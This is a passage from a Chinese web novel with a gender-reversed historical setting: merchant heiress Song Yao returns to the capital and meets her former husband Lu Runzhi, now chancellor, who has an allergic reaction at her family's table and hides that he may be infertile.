宋瑶比之前长高了,却变瘦了,褪去了婴儿肥,眉宇间透着女子的英气,瞧着比以往沉稳不少。 李容眼泪汪汪,“长高了,也变瘦了,回来就好,回来就好。” 宋琼拍了拍她的肩膀,眉宇间有些自豪,“不愧是我宋琼的女儿,有女子气概,之前是我小瞧了你。” 李容拉着她的手,细细地问道:“这几年在扬州可还好,可有什么人为难过你,我瞧着你瘦了不少。” 宋瑶安抚他道:“爹爹不要担心,一切安好。” 李容不是感性之人,却在见到宋瑶的那一刻心情莫名激动,仿佛要把几年的思念都说出来,到底是自己的亲骨肉,哪里不心疼的。 “回家说,别站在门口了。”宋琼揽了二人,往回走。 归家时,已接近傍晚,家里早已做好了饭菜,等着为她接风洗尘。 饭桌上,李容拉着她,细细地问了许多她在扬州做生意的事情,得知她是如何使手下人信服,如何把扬州的生意做大做强,眼中既骄傲又心疼。 与宋瑶一同长大的,都已经成家立业,现在的孩子都在上学堂了,宋瑶如今却孤身一人,连个照顾她起居的人都没有。 话题聊着聊着不知怎么就偏到了成婚上面,这大概是自古不变的定律。 不过尚且可以理解,宋琼和李容就这么一个孩子,自然心急。 宋瑶在扬州时,收到的家书中,李容多次提到如果遇到心怡的男子,可先娶过门,在扬州成亲不无不可,如今五年过去,她还是孤身一人。 在李容问起时,宋瑶只道:“还未遇到合适的。” 闻言,李容面露犹豫,欲言又止,最终还是道:“阿瑶,你与爹爹说实话,你莫不是还放不下润之,若是如此……” 他话还未说完,宋瑶无奈道:“爹爹,没有这回事。” 李容上下打量她,“当真?” 宋瑶坦然地任他打量,“当真。” 李容还想说什么,在看到宋琼的眼神后,叹息一声,“罢了罢了,也不知你喜欢什么样的,听说扬州男子温柔似水,也不见你带回来一个。” 宋瑶笑道:“爹爹,你莫要担心了,若遇到中意的,一定娶回家。” 李容埋怨道:“你每次都这么说,这么久了,连个人影都未见着。” “行了醒了,宋瑶还年轻,也不着急,你就别逼她了。”宋琼在一旁打圆场道。 李容想了想,“也是,咱们女儿模样脾性都是一等一,到时候娶个年轻貌美好生养的夫郎,再给我生个孙女,我就了无遗憾了。” “好了,爹爹,这事儿我会放在心上的。”宋瑶趁机转移了话题,“你们这些年在京城怎么样,前阵子听娘亲说,生意上遇到了些问题,可解决了吗?” 宋琼道:“遇到贵人相助,已经没问题,倒是你几年未归,你爹爹甚是想念。” 说到此,李容又拉着她道:“这次应该不会再走了吧,你娘亲年纪也到了,是时候将家业交给你,你就在京城成家立业吧,扬州再好,也不是咱们得故乡。” 宋瑶笑,“听娘亲与爹爹的安排。” 李容:“那就好,那就好。” 一顿饭吃到了很晚,宋琼和李容硬是拉着宋瑶聊到了深夜,才放她回去。 等宋瑶回到自己的院子,已困得不行,下人已收拾好房间,准备好热水,她洗完澡,坐在椅子上昏昏欲睡,云岫温柔地帮她擦拭着头发,动作仔细又小心,是不是用手指轻轻按摩着她的头皮 宋瑶昏昏欲睡,原本放在她头发上的手忽地开始有一搭没一搭地扫过她的耳畔,她拨开他的手,“云岫,别闹了。” 她的声音带着写困倦,有些沙哑慵懒。 身后的人顿了下,随即放下毛巾,放下身段,伏在宋瑶腿上,用脸颊贴着她的膝盖,发丝压在她膝盖上,抬起小鹿眼,湿漉漉的,眼中是渴望,他轻轻道:“少家主,让奴伺候您吧。” 宋瑶抚了抚他的头发,“今日太累了。” 云岫眼中滑过一抹失落,垂下眼睛,抿了抿唇,少家主一向拒绝人都是温柔的,更加叫人放不开,正因如此,他才会背井离乡,离开了生活了十几年的扬州,来到陌生的京城,就期盼着少家主哪天心软,把他纳为侍君,给他一个女儿,那他便有了仰仗。 云岫不敢多言,乖乖地给宋瑶擦干了头发,便退了出去。 宋瑶躺在床上,倒头就睡,睡到了第二天日上三竿。 醒来时,窗外阳光正好,院子里的梧桐树已经长大了,枝繁叶茂。 刚回京城,宋琼和李容心疼她心疼得不行,特地准了她一个月的假期,让她好好休息,大约是觉得她在扬州吃尽了苦头,从未休息过。 宋瑶欣然接受,有假期谁不休呢。 刚洗漱完,就听到下人在窃窃私语。 宋瑶问道:“说什么呢?” 两名下人也都是之前伺候过宋瑶的,知少家主脾气好,于是便实话实说了,“丞相大人带着太医来给主君复诊,就在主院呢。” 宋瑶愣了一下,随即皱起眉头,“我爹爹他怎么了?” 下人道:“主君他年前头痛,看遍了京城的大夫都没辙,是丞相大人带了宫里的太医,开了几贴药,才治好的。” 宋瑶想也知道李容是她担心,才没在信中与她说此事,“爹爹他头痛多久了?” 下人道:“两月有余,一直不得安睡。” 宋瑶放下帕子,“随我去看看。” 等她赶到主院,白发太医已经收起了药箱,面容慈爱和善,对李容叮嘱着什么。 宋瑶看了一眼一旁坐着的陆润之,随即视线又回到太医身上,微微拱手作揖,“有劳太医为我爹爹诊治,请问我爹爹怎么样了?” 太医暗暗打量了宋瑶,想必这就是宋家少家主,倒是生了一副好相貌,太医笑了笑,语气沉稳,“少家主不必忧心,令尊已无大碍,日后多多注意,莫要忧思过度,放宽心即可。” 宋瑶拱手,“辛苦太医。” “少家主客气了。”太医说罢,便带着药箱起身,对着陆润之道:“丞相大人,老身已出来多时,该回去了。” 陆润之:“有劳吴太医。” 太医:“丞相大人客气了。” 随后,宋琼和宋瑶一起将太医送出了府,宋琼悄悄给太医塞了一沓银票,太医无论如何都不愿意收。 吴太医的马车远去,宋琼叹道:“吴太医医术高超,身为太医院院首,却为官清廉,多亏了她,才能治好你父亲的头痛,说到底也要好好感谢润之,若不是他,也请不到吴太医。” 宋瑶:“他怎么会知道爹爹头痛?” 宋琼看了她一眼,“是我实在无法,才着人去请润之帮忙。” 宋瑶:“原是如此。” 自家的女儿,宋琼自是知道她在想什么,于是道:“我知道你在担心什么,只是我们身正不怕影子斜,润之都说了没关系。” 宋瑶叹息道:“我只怕百口莫辩。” 再次回到院中,宋瑶便看到李容面带笑容,亲切地拉着陆润 之在聊天,那副模样似乎比之前更为熟稔,也不知发生了什么,他们竟如此亲近了起来。 宋瑶这才把目光放在他身上,他今日着了白色长袍,淡蓝色外衫,头发随意用白色发带绑着,散在身后,与李容说话时,眼神温和,唇角带了一丝浅笑。 他今日似乎上了淡淡的妆,皮肤极为白皙,眉眼更为耀眼,本就是淡妆浓抹总相宜的容貌,似乎比之前更加夺目,叫宋瑶不由得多看了他一眼。 察觉到她落在侧脸上的目光,陆润之保持着微微倾身,唇角的弧度不便,状似认真在听李容讲话,实际上藏在袖中的手微微捏紧,连脊背都绷直了几分,那不争气的心脏,为自己的容貌还能吸引到她而忍不住雀跃。 第75章 “阿瑶,你回来了。”李容看到宋瑶来了,笑着朝她招了招手。 接着李容的话,陆润之这才敢目光光明正大地落在她身上,朝她弯了弯眼睛,一瞬间,仿佛又看到了那年冬天少年浅笑的模样。 宋瑶礼貌地回了个微笑,向李容走去,“爹爹生病了,怎么也不告诉我。” 李容笑道:“这不是怕你担心,总之现在也好了,多亏了润之。” 不管怎么说,她都要谢谢他。 宋瑶看向陆润之,站起身,微微弯腰,双手拢于身前,正准备作揖,忽地双手被一双微凉的手托起她的手腕,她下意识抬眼看去,撞上了他的目光。 陆润之的手指微微收紧,隔着衣袖,宋瑶能够感受到他的手指冰凉的,大夏天的,她的视线落在他托住自己手腕的手上,再看向他。 陆润之微微抿了下唇,不着痕迹地放开她的手,避开的她的视线,垂下眼睫,遮盖了眸中的神色,便问道:“宋瑶,你日后可不可以不要对我行礼了?” 他在乞求她。 宋瑶一顿。 从李容的角度,恰好看到陆润之垂在身侧的手,悄悄握紧,他看了看陆润之,又瞧了一眼宋瑶,眼珠子转了一下。 见她没说话,陆润之的视线重新落在她身上,似乎在等她的答案。 李容见状,推了推宋瑶,“你不在的几年,润之没少帮助我们,作甚如此见外。” 宋瑶看了一眼李容,眼中闪过一丝无奈,看向陆润之,还是朝他拱了拱手。 陆润之垂下眼睛,眼中一黯。 随即听她道:“多谢润之这几年的照拂。” 陆润之对上她笑意盈盈的眼眸,顿时一愣,她虽微微作揖,语气却熟稔,不是要与他划分界限的温和,也不是冷漠疏离,而像是真心感谢朋友之间的照拂。 “不必言谢。”他小小地笑了笑,似是松了一口气,层层涟漪仿佛在眼中荡漾开来,垂在身侧的手松开。 李容见状,眼中笑意荡漾开来,拉着陆润之的手,说了会儿话。 宋瑶坐在一旁,任劳任怨地给自己的老父亲剥坚果,瞧着两人相谈甚欢的模样,有些好奇,这二人是怎么这么熟悉的。毕竟她爹爹之前还任务,是陆润之抛弃了宋家。 李容拉着陆润之说了会儿话,发现他经常对自己的话没有反应,便关怀道:“你今日怎么心不在焉的,是朝堂之上遇到什么苦难了吗” 陆润之笑道:“没事,一切都好着。” 此时,宋瑶将剥好的坚果放到了李容手边,有瓜子、巴旦木和榛子。 李容拿到自己跟陆润之之间,招呼道:“来,吃点坚果。” 陆润之拿了颗巴旦木,却迟迟没有放入口中,随后,桌上又出现了一盘核桃,他的手一顿,看向宋瑶。 宋瑶慢条斯理地拿着帕子在擦拭手指,像是没有察觉到他的视线。 “刚想说怎么没我最喜欢的核桃,原来在这里。”李容道。 陆润之垂下眼睛,眼睫眨了眨,将巴旦木放入口中,略微发涩。 已临近中午,李容留陆润之吃完午饭再回去,“来都来了,便吃了午饭再回吧,也不差这一顿饭的功夫。” 宋瑶始终没说话。 陆润之推辞,“家里已做好了午饭。” 李容劝道:“家中就你一人,不如和我们一起吃热闹,刚好阿瑶刚回来了,一起吃个饭。” 陆润之轻轻看了宋瑶一眼,顿了一下,“不会给您添麻烦吧?” 方才那一眼,宋瑶总觉得他是在问她的意见,虽说她总担心与官府有所牵扯,但这事儿更担心的应该是他才是,且不说这事,爹爹都如此说,她也把人留一留。 “便留下吃个午饭再回吧。”宋瑶道。 陆润之看着她,这才应了。 李容去招呼厨房做些两个孩子喜欢吃的饭菜,一时间,只剩下宋瑶和陆润之。 宋瑶没有说话,自顾自地磕着瓜子,房间内只剩下瓜子打开的声音。 以往在一起时,宋瑶总是会说话,笑意盈盈,眉眼温和,从不会冷场,此时她不笑的时候,神色有些淡,眉宇间的英气便流露出来。 陆润之坐在她对面,想与她说话,却不知道说什么,几次想开口,又怕从她口中听到不喜欢听的,手指在袖中紧了又紧,最终还是没有开口,只是拿起了旁边的核桃夹,默默地剥起了核桃。 宋瑶抬眼看了他一眼。 他的十指纤长,指节分明,十分漂亮,弹琴很好听,写字很好看,剥核桃的动作却很生疏,经常被核桃壳的扎到手指,拇指已经有些泛红。 宋瑶扣了扣桌子。 陆润之抬眼看她。 宋瑶在他面前摊开手。 陆润之将剥好的核桃仁放在她手心。 宋瑶笑了笑,反手拿走了他的核桃夹,“不用剥了,剥多了也吃不完。” 陆润之点了点头。 宋瑶觉得有些好笑,她若是他,此刻便会不经意间流露出这几年对宋府的帮助,以获得她的感激,他什么也不说,面对他人时,端得一副丞相大人的模样,私下却仍是没什么长进。 忽地,他想起了什么,从袖中掏出了一张折得四四方方的纸,递给了宋瑶。 宋瑶的目光落在那纸上,没有接,问道:“这是什么?” 陆润之放在她面前,“送给你的礼物。” 不是金银财宝,也并非字画,反而是折得好好的一张纸。宋瑶的好奇心被勾起,展开宣纸一看,竟然画了一副未下完的棋局,她扫了一眼,又细细看了几眼,这棋局好像有点意思。 这棋盘画的板板正正,连棋子的形状都保持一致,就像印刷上去的,不过谁送礼物会送人未下完的棋局。 不过若送她其它东西,她还不收呢。 陆润之看到她眼中的兴趣,悄悄松了口气。 得知她回来后,他便想送她一份礼物,金银珠宝她肯定比他见得多,书籍她又不喜欢,他本想送她自己绣的手帕,但是他的绣工极差,而且她定不会收,于是便想送她一份不会被拒绝的礼物,思来想去,就送了她一局棋。 既不会惹人非议,又不会让她怀疑。 她的性子最怕无聊,既已经开始研究棋局,便说明她觉得很是无聊,开始动脑筋了。 “这是你自己设计的?”宋瑶问道。 陆润之笑,“对。” 宋瑶不吝啬地夸赞,“能设计出这样的棋局,你在棋上面的造诣已经炉火纯青。” 她像以前一样,从不吝啬对他的夸赞。 陆润之下意识垂下眼睛,避开了她的视线,脸颊微微发烫,轻轻道:“没有,是我请教了棋圣才有了此棋局。” 这几年,面对文武百官的阿谀奉承,他从未像此时这边 ,心好似飘在了那柔软的云上。 宋瑶笑道:“那也很厉害,我收下了,多谢。” 陆润之轻轻道:“你喜欢便好。” “不过……”宋瑶道。 陆润之:“怎么了?” 宋瑶的视线落在他身上,语气带了一丝调侃,“这可是在京城,天子脚下,与宋府往来,陆大人不怕被人诟病,传到圣上耳中吗?” 听她如此说,陆润之的眼神一下子慌乱了,她这么说,似乎下句话就要让他不要再来找她,他急忙道:“不会的,你不要担心,不会影响到宋家的。” 宋瑶看到他如此慌乱的神色,惊讶了一瞬,她并未说什么。 陆润之却以为她不相信他,便拉了她的袖子,直直地看进她的眼里,“你信我,我已经处理好一切了,只是有些事……我不便……” 他眼中急切仿佛要化作一池水,从眼眶中溢出来,着急得仿佛扒着她的袖子的猫儿,生怕被赶出去。 宋瑶眼中滑过无奈,温和道:“我只是有些担心你,并无别的意思。” 她温柔和缓的语调顿时抚平了他心头的不安。 陆润之愣愣地看着她,“那你相信我吗?” 宋瑶顿了一下,看进他的眼中,有些无奈,“我信你。” 陆润之眼中一黯,松开了她的袖子,他知道,她是不信的。 也是,空口无凭。 她自是不该信他。 陆润之还想说什么,宋瑶却已岔开了话题,“你方才所说的棋圣是何许人也?” 陆润之敛了神色,解释道:“她名唤施婕,棋风以严谨缜密、算无遗策著称,至今还未有人在棋艺上战胜过她,她家便住在京城,若你想见她,我可以带你去。” 宋瑶笑了笑,“我这个业余三流水平,还是别去打扰她老人家了。” “不会,你很有天赋。”陆润之深深看进她的眼里,顿了顿,语气认真,“你对棋形变化的直觉,对‘势’的天然捕捉力很难得,布局看似随意,但总能落在意想不到的位置上,是纯粹的天赋在闪光。” 宋瑶端着茶杯的手一顿,看着他,缓缓勾起嘴角。 从前怎么没发现,他夸起人来是这般动听。 陆润之忽然被她看的有些紧张,“怎么了?” 宋瑶放下茶杯,盈盈笑道:“润之,我发现,你很有夸人的天赋。” 第76章 她说这话的时候,眼中有浅浅的浮光,唇角微微弯起,带着柔和的笑意。 似乎她总这么笑着,以前陆润之总觉得她笑得很温和,不带一丝攻击性,现在却觉得她是下意识这般笑着,笑容温和,却对任何人都是如此,带着一丝神性。 但此时,她唇角弯着,可以感觉到心情不错。 陆润之分辨着她的细微的小表情,得出了这个结论,连带着他的心情都好了起来。 她没有正面回应他的邀请,想必是怕他难堪,而岔开了话题,想来她现在还是介意他的身份,不愿意与他过多来往。 思及此,陆润之又有些小小的失落。 李容特地安排厨房做了宋瑶和陆润之喜欢的饭菜,四人坐在一丝,宋琼和李容坐在一起,宋瑶和陆润之自然坐在了一起。 有李容在,气氛总不会尴尬。 陆润之安静地吃饭,偶尔被李容点到,便浅笑着附和两句。 宋瑶发现,李容给他夹的菜,他都吃了,她隐约记得,有些菜他以前可是从不碰一下的,可能这么多年,他的口味也不似从前了。 而且他从前吃饭,不喜说话,如今倒是看不到一丝不耐烦。 话题越扯越偏,不知怎么偏到了成亲生子方面。 李容道:“……与阿瑶一同长大的夏生,娶了个年长她几岁的夫郎,她家夫郎身体还不好,一直怀不上孩子,东南西北地瞧,今年好不容易怀上了,却流产了,天不遂人意。” 陆润之顿了一下。 李容叹息一声,接着道:“这男人啊,还是早早地生孩子比较好,这样的生出来的孩子也比较康健。” 陆润之眼神一黯,执着筷子的手顿在了空中,手指微微收紧,指节泛白,仿佛沉到了谷底,呼吸一窒。 如今他已经二十有三,在世人眼中,这样的年纪已经该有两个孩子了。 她会不会嫌弃他年纪大了? 会不会……嫌弃他身体不好? 李容还在给他夹菜,陆润之微微敛了神色,他已能做到藏起自己的情绪,吃饭的动作却有些机械。 宋瑶敏感地察觉到身边的人情绪变化,方才还好好的,现在却不知怎么回事,忽然沉了几分,虽然他面上表情没什么变化,但却给人一种他在压抑自己情绪的感觉。 李容:“润之啊,来多吃点鳆鱼补补,我总瞧着你最近又瘦了。” 陆润之浅浅一笑,“我自己来就行,李叔不用客气。” 宋瑶侧目望了他一眼。 吃完饭后,陆润之又陪李容坐了一会儿,正当宋瑶昏昏欲睡的时候,李容勒令她送陆润之回去。 宋瑶有些犯困,步伐都懒懒的,她道:“我把你送到门口吧,有人来接你吗?” 陆润之:“有。” 他一直跟在她身后两步距离,微微落后于她。 宋瑶没说什么,觉得他有些安静,便回头看了他一眼,脚步顿住,目光落在他脸上。 陆润之也停下脚步,看着她皱起眉头,目露迷茫,“怎么了?” 宋瑶:“你的脖颈处起疹子了。” 陆润之下意识地摸上自己的脖颈,她这么一说,方才觉得有些痒,连带着脸上也是。 他抬起手的时候,袖子落下,露出白皙的手臂,上面也布满了星星点点的红疹,密密麻麻的,已经是十分严重的过敏。 他自己也看到了胳手臂上的情况,立刻慌忙拉下袖子,不想被她看到。 好丑。 他的脸上不会也是如此吧。 陆润之忽然意识到这个问题,慌乱地从袖子中拿出面纱戴上。 宋瑶皱起眉头,回忆了一下,“你自己不能吃海鲜,不知道吗?” 她的语气有些冷淡。 陆润之垂下目光,站在原地,有些无措,像是犯了错的学生,“我不知道。” 宋瑶往回走,府中有常驻大夫,“我带你去看大夫。” 不想被她看到自己如此丑的模样。陆润之后退一步,目光闪躲,“不用麻烦了,我回去的路上找个医馆看看就行了。” 宋瑶的视线落在他身上,抬起他的手腕,拉开他的袖子,两条胳膊都布满了疹子,红疹已经爬上了他的脖颈和脸颊,密密麻麻的,十分严重。 严重的过敏可能会引发休克。 陆润之猛地抬眼看她,想要抽出自己的手腕,却发现挣脱不了她的钳制。 他抬起眼眸,秀眉微微蹙起,乞求般地看着她,瞳孔深处浮着一层颤动的薄光,仿佛下一秒就要碎裂的琉璃。 不要看。 好丑…… 宋瑶对上他的目光,愣了一下,下意识地松开了他的手腕,才发觉自己的动作对一个男子来说有些不合适,她歉意道:“抱歉,是我唐突了。” 陆润之放下袖子,摇了摇头。 宋瑶放缓了语气与他解释,“你的症状有些严重,若不及时看大夫,恐怕会耽误,府中正好有大夫,我先带你去?” 陆润之垂着眼睛不说话。 也不知他怎么了,似乎有难言之隐。 宋瑶有些无奈,怕耽误他的病情,便道:“既如此,就依你,去外面的医馆。” 说着,她便往前走。 忽地,袖子被身后的人拽住。 陆润之咬了咬唇,低声道:“就在府中看,麻烦你了,多谢。” 府中的老大夫仍是那年宋瑶请来,给陆润之调养身体的。 老大夫的头发比以前白的更多,却精神矍铄,一双眼睛炯炯有神,她看到陆润之,问道:“怎么了?” 宋瑶道:“他吃了海鲜,身上起了很多红疹。” 老大 夫掀了掀眼皮子,“让我瞧瞧。” 陆润之看了一眼宋瑶。 宋瑶一顿,接触他的视线,便背过身,主动回避。 陆润之这才摘下面纱,拉开袖子。 老大夫看到他身上的疹子,皱起眉头,“痒不痒?” 陆润之:“痒。” 但他不敢抓,害怕留下疤痕,硬是忍住了这生生的痒意。 老大夫为陆润之诊了脉,狠狠数落了他一顿,又连带着把宋瑶也说了一顿。 陆润之:“不关她的事,她不知道。” 老大夫冷哼一声,边写药方边问道:“以前可有此症状?” 陆润之:“未曾有过。” 老大夫又数落了他一顿,“老身好不容易费了一番功夫,才将你的身体调理好,如今又被你糟蹋成这样,这么大人了,怎么还不会照顾自己,年纪轻轻,身体还不如我这个花甲老妇!” 陆润之听着,身体一颤,“大夫,我的身体……” 他欲言又止,看了一眼宋瑶。 老大夫写好了药方,交给宋瑶,使唤她去抓药,“今日药童不在,劳烦少家主跑一趟了。” 药童不在,还有下人。 宋瑶了然,恐怕老大夫故意支开她,便接了药方,走了出去。 待宋瑶走后。 老大夫觑了陆润之一眼,“你方才有什么话要对老身说?” 陆润之眼神暗了暗,攥紧了自己的袖子,“大夫,你方才说我的身子,可还能怀上孩子?” 老大夫掀开眼皮子,反问道:“这么些年,你自己都没有看过大夫?” 陆润之摇了摇头。 老大夫叹息一声,“你先天体寒,又不爱惜自己的身体,脾胃虚弱,身体早已亏空,实话实说,很难怀上孩子,即使怀上了,也很难保住。” 陆润之僵在原地,没有回应,只有一种压抑的、令人心悸的沉默,仿佛空气骤然凝固,然后被强行挤压。 接着,他缓缓说道:“此事不要告诉宋瑶。” 老大夫瞧了他一眼,目光露出怜悯,人外风光,高高在上的男子,此刻也不过是像普通男子一样。 这世间,没有哪个女人会让生不了孩子的男子做主君。 况且,现在他与宋瑶已经和离,现在这是闹哪出。 “我去外面看看,若有事叫我,切记不能挠,待宋瑶回来,将药喝下即可。”老大夫叮嘱道。 陆润之没有回应,放在桌上的手却紧紧攥着,仔细一看,他长睫掩映下的眼眸浮光颤动。 李叔想抱孙女。 没关系。 他可以做侧室。 让别人给宋瑶生儿育女。 宋瑶交代人熬好了药,命人送给陆润之。 等她回到房中,便看到陆润之撑着头,戴着面纱,垂着眼睫,不知道在想什么。 房间被半明半暗的光影分割开来,他在暗处,脊背无论何时都是挺直的,有自己的骄傲,此时不知为了什么,微微弯了脊背,在晦暗不明的光影中,有些落寞。 下人将熬好的药,恭恭敬敬地送到他面前。 陆润之敛了情绪,端起碗,一饮而尽,仿佛喝的不是药,而是水。 他放下碗,重新戴上面纱,看到了站在门口的宋瑶,眼中浮现了浅浅的笑意,仿佛一切情绪方才都是幻觉。 “你回来了。” 宋瑶点点头,走过去,“喝完药,再观察一下,有什么事好叫大夫。” 陆润之乖巧地点了点头,“谢谢。” 宋瑶顿了下,“不用客气。”想问他方才大夫与他说了,又觉得自己不该问,万一触及到了什么隐私。 陆润之细细的目光落在她身上,“方才吓到你了吧。” 宋瑶觉得有些好笑,“谈不上吓到,只是瞧着有些骇人。” 陆润之:“我也不知道自己不能吃鳆鱼,以后会注意。” 宋瑶点点头,他与她说这些做什么。 陆润之顿了下,又看向她,像蜗牛小心翼翼地探出触角,“李叔说你这几日都休息,你想去看赛马吗,碰巧这几日京中会举办马赛,你若想去,我们可以一起去。” 他觉得她应该会对这些感兴趣。 这怕是那些达官贵族之间的娱乐活动,邀了他去。 这种场合,她怎么能出现呢。 宋瑶轻描淡写地笑了笑,看向他,“以什么身份去呢?” 第77章 陆润之被她问的一愣。 自然是以宋瑶的身份去。 他想说你便是你,自然是以宋瑶的身份,堂堂正正地去。 宋瑶浅浅的目光落在他身上,他考虑事情向来周到,能坐到如今这个位置,怎么不知道这个道理呢。 当时,他有皇帝护着,可能没吃多少苦头。 现在,就算他是丞相大人,也护不了她。 宋瑶轻轻叹了一口气,目光温和地落在他身上,“我知你是好意,只是我实在不便出席。” 那个阶层在这个朝代很难跨越,她懒得去跨越。 陆润之仰头,看进她的眼睛里,“只是一些世家子弟,很好相与。” 宋瑶眼中闪过一丝莫名的情绪,接着便收起了温和的目光,变得淡淡的,“丞相大人,我送你回去吧。” 陆润之眼中闪过一丝慌乱,急忙抓了她的袖子,立刻道歉,“对不起,你要生气。” “我没有生气。”宋瑶很淡地勾了勾嘴角,扯回了自己的衣角,眼底滑过一丝失望,“润之,我觉得我现在的生活挺好,不想做任何改变。” 陆润之捕捉到眼底的失望,像是一把重锤,重重地敲击他心上,从没有此刻像现在觉得,她不需要他了,他的做法打扰到她了。 从当时她赶他走的时候,她就不需要他了…… 陆润之别开了眼,大脑一片空白,他紧紧地攥着自己的衣袖,指节泛白,他想说不会打扰她的,他会处理好一切,但是化作嘴边的只有一句呢喃,“对不起……” 他低垂着眼睫,像是被抛弃的小狗,脊背依旧挺直,天鹅颈低垂着,浑身的情绪紧绷着,似乎不知怎么办才好,不知所措。 无论是从前还是现在,他的容貌都长在宋瑶的审美点上,宋瑶从不对美人说重话,从前只希望他能够实现自己的愿望,希望他走到梦想的位置上,闪闪发光。 她希望他一直都是那个自持骄傲,清冷出尘的小公子,如今也是。 他不该来找她。 宋瑶觉得,他大概是一种雏鸟情结,所以才会回来找她,他现在的地位,想嫁给什么样的女子没有呢。 宋瑶叹息一声,缓缓道:“你没有对不起我,不用跟我说对不起。”顿了下,“这世间还有许多脾性很好的女君,等你和她们相处多了,便会发现宋瑶也不过是普通中的女子一个——” “不要说这样的话。” 她的话尚未说完,便被他打断,带着一丝哭腔。 宋瑶垂眼看他。 陆润之别开眼,似乎不想叫她看到如今自己这幅难堪的模样,他的声线微微颤抖,“你若不想接受我便罢,大可不必说这般戳人心窝子的话。” 明明是赌气般的话,他的声音含着鼻音,带着浓浓的委屈。 宋瑶没说话。 陆润之背对着她,呼吸微微急促,放在腿上的手紧紧握着,单薄的背微微颤抖。 宋瑶伸出手,想拍拍他的肩膀,却顿在空中,手指微拢。 陆润之转过身,湿润的目光看到她的顿在空中的手,宋瑶正欲收回手,却被他抓住。 他的脸颊轻轻贴在她的掌心,隔着面纱,蹭了蹭,长睫微湿,像被雨水打湿的蝶翅,无力地颤动,“宋瑶,求你,不要对我说这种话……” 他的声音破碎,带着一丝的哀恳,滚烫的湿意透过面纱,传递到宋瑶的掌心,她的指尖微微一蜷。 宋瑶只轻轻叹了一口气。 他似乎是冻僵的猫,汲取着她手心的温度。 等他平复好情绪,脸颊离开她的掌心,宋瑶的小臂已经微酸。 陆润之拉下她的手,轻轻揉了揉,“对不起。 ” 他似乎一直在道歉。 宋瑶轻轻抽出自己的手,“没关系,身上的疹子好些了吗?” “好些了,不痒了。”他道,鼻音很浓。 宋瑶道:“我送你回去吧。” 陆润之轻轻“嗯”了一声。 宋瑶将陆润之送到了门口,陆府的下人已经在门口等候,看到宋瑶,行了个礼。 陆润之对宋瑶道:“今日麻烦了。” 宋瑶笑道:“谈何麻烦,你也帮了我爹爹。” 陆润之望进她的眼里,轻轻颔首,便登上马车离开了。 宋瑶目送着他的马车离开视线,便转身回了屋子。 路人认出了丞相大人家的马车跟马车,不由得多看了几眼,这才发现是从宋府的方向过来。 李容午休醒来,便听说陆润之在他们家吃了顿饭,身上起了疹子,十分严重,便去问宋瑶怎么回事。 宋瑶简单说了情况,倒也没觉得有多严重。 李容听完,声音都拔高了,“他那么严重,你就让他一个人回去了?” 宋瑶:“他家里有下人照顾。” 李容:“那能一样吗?这可是事关男子的容貌,万一疹子没消怎么办。” 宋瑶倒不觉得他是会在乎容貌的人,况且大夫说了没关系,“不会影响的,您就别担心了。” 李容坐立难安,“怎么能不担心,润之那么在意,我差人悄悄去问问。” “爹爹。”宋瑶无奈地按着李容坐下,“没事的,您怎么忽然这么关心他了,到底谁才是您亲生的。” 李容道看了她一眼,叹息道:“我知你心里对润之有怨气,只是你外出这些年,你娘亲前年腿疼,我今年头疼,都是润之带着太医来瞧的,虽说在朝为官,却是一点架子都没有,是个好孩子。” 宋瑶问道:“你跟我娘亲就不害怕?” 李容知道宋瑶指的是什么,挑了挑眉,“有什么好怕的,身正不怕影子斜。” 宋瑶笑着摇了摇头。 “倒是你这个孩子。”李容捏了宋瑶的胳膊,“怎么全程不怎么搭理人家?” 宋瑶慢悠悠地磕着瓜子,没回答李容的问题,反问道:“爹爹的意思是,还希望我跟他在一起吗?” 李容一噎,目光闪躲,他倒是没想过叫自家女儿跟陆润之重新在一起,只是…… 哪怕陆润之脾气再好,身份摆在那儿,且不说不可能,就算可能,他也不想再有个丞相女婿。 只一眼,宋瑶便看出李容在想什么,直言道:“爹爹不想我跟他在一起,却又想利用他的权势,日后做事行个方便,是想我偷偷做他的情人吗?” “胡说!”李容瞪眼,“这世道哪有女子做男子的情人。” 宋瑶挑眉,“那就是想让他做我的情人?” 她说的还是委婉了些,李容的意思是看如今陆润之余情未了,想让宋瑶给他点甜头吊着,日后做事好行个方便。 李容支支吾吾道:“也不是……就是……即使做不出妻夫,也可以做个朋友……” 宋瑶放下瓜子,拍了拍手,“爹爹,如今宋氏需要做的是敛其锋芒,尤其是在京城。” 李容一愣,随即叹道:“娘亲与爹爹年纪大了,马上就要把家业交给你,自然是做不了你的主,只是希望你日后的日子好过些,诸如此类的事情有很多,大可不必如此小心。” 宋瑶笑了笑:“我心里有数,娘亲和爹爹不用担心。” 李容看了她一眼,如今是越来越看不懂自家女儿在想什么了- 陆润之带着太医院院首吴太医去宋府的事情,没有刻意瞒着,此事很快传到了圣上耳中。 这日,下了朝,皇帝与陆润之议完今年科考的事宜。 事情敲定以后,陆润之作揖告退,却又被皇帝叫住。 皇帝像是想起了什么,笑道:“润之,朕记得你如今年岁了也不小了,之前总说再等等,如今却等不得了,朝中大臣总是调侃朕苛待臣子,叫你忙得连成亲的时间都没有,可有中意的女君?朕直接为给你们赐婚。” 如今司马怀柔被权势养得一副喜怒不形于色的帝王模样,试探的话,都说得如此好听。 陆润之垂下眼睛,淡淡道:“回陛下,未有。” 皇帝的视线落在他面上,“前阵子礼部尚书隐隐提到,她家女君十分仰慕你的风采,想见上一见。” 陆润之眼神一黯,吃着微微躬身,声音平稳无波,听不出丝毫情绪,端得恭谨沉静,“臣惶恐,谢陛下抬爱。陛下委臣以科考重任,关乎社稷根本,臣不敢有丝毫分心懈怠,此刻若议及私事,于公于私,皆非良时。” “润之如此忧国忧民,是朕之幸。”皇帝哈哈大笑,藏起了眼底情绪,“辛苦你了,可要注意身体,朕今日听说你把吴太医叫了去,身体可有大碍?” 她这么问,多半是已经知情,在试探。 陆润之未见丝毫慌乱,避重就轻地说了,“多谢陛下关心,臣前些日子误食,起了些疹子,加之友人身体不适,便麻烦吴太医诊治,已无甚大碍。” 皇帝关怀道:“爱卿无事便好。” 陆润之:“臣告退。” 皇帝看着陆润之的身影消失在御书房门口,敛了笑容,深色莫测,随即目光又回到奏折上。 陆润之出了御书房,比起皇帝莫测的深情,他倒是没什么心绪波动。 皇帝这个位置,坐上去了,便要为皇权操心。 第78章 陆润之从御书房出来后,准备去官署,没走多远,身后苏凝就追上来,叫住了他。 “丞相大人,留步。” 苏凝时常年在皇帝身边伺候的女官,负责皇帝的日常起居,跟了皇帝许多年,朝中大臣见了都要礼让三分。 陆润之转身,等苏凝走近,便问:“苏大人,怎么了?” 